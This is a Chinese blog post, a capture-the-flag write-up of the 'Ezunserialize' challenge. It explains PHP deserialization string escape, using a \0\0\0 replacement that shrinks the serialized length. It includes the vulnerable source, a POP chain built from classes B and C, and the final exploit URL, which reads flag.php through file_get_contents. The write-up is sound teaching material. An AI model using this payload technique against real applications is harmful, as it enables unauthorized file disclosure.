[安恒月赛]反序列化字符逃逸

Ezunserialize

这道题目又让我加深了对反序列化字符逃逸的理解

源码如下:

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

这里反序列化中有两个操作,read和write,一个是将\0\0\0替换伟<0x00>*<0x00>,一个是反过来。

这里我们需要逆着read和write两个函数的顺序想。

如果只经过read的话,字符中带\0\0\0就会被替换为<0x00>*<0x00>,长度从6变为3,这样反序列化时就会显示长度过长,会吃掉后面的字符,长度的变化就会产生一个字符的逃逸。

这道题基本和安洵杯的思路是一样的。我们本地搭环境测试

payload:

http://127.0.0.1/test.php?a=\0\0\0&b=123

未经read函数

O:1:"A":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:3:"123";}

经过read函数

O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:3:"123";}

这时反序列化会报错,当多变少的时候,我们可以选择吃掉中间,然后在后面延长。这里我们需要吃掉username键值的第二"到password键值的第一个"

每一组\0\0\0替换后都可以吃掉后面三个字符,通过计算需要吃掉的字符,然后构造对象。

这里先写个pop链然后序列化获得

<?php
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$b=new B();
$b->b=new C();
$b->b->c='flag.php';
$a=new A('a',$b);
echo serialize($a);

获得

O:1:"A":2:{s:8:"username";s:1:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

a参数是我们需要用\0\0\0多变少后,吃掉中间的,然后再b参数上构造

s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

上面用\0\0\0\简单测试,发现需要吃掉的有

";s:8:"password";s:3:"

一共22个字符,但是再后面构造时候,b实际要闭合";并且赋值s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}},所以是十位数不是个位数字。

我们这里一共需要吃掉23个字符,后面可以自己补1一个字符。

每\0\0\0一组可以吃掉3个字符,倍数关系,最接近的就是24,需要8组\0\0\0

exp如下:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

这里通过8组\0\0\0,吃掉24个字符,吃掉的字符为

";s:8:"password";s:74:"1

然后通过";闭合掉前面的password键值对,构造pop链条需要的password键值对。

 

从安洵杯,0CTF,安恒月赛这道题都可以看到,当少变多的时候,往往在后面跟着闭合并且将后面的键值对挤出去。当多变少的时候,往往是两个参数,通过前面的参数吃掉中间的部分,后面的部分就可以随意构造了。

posted @ 2020-04-25 21:10  yunying  阅读(2212)  评论(0编辑  收藏  举报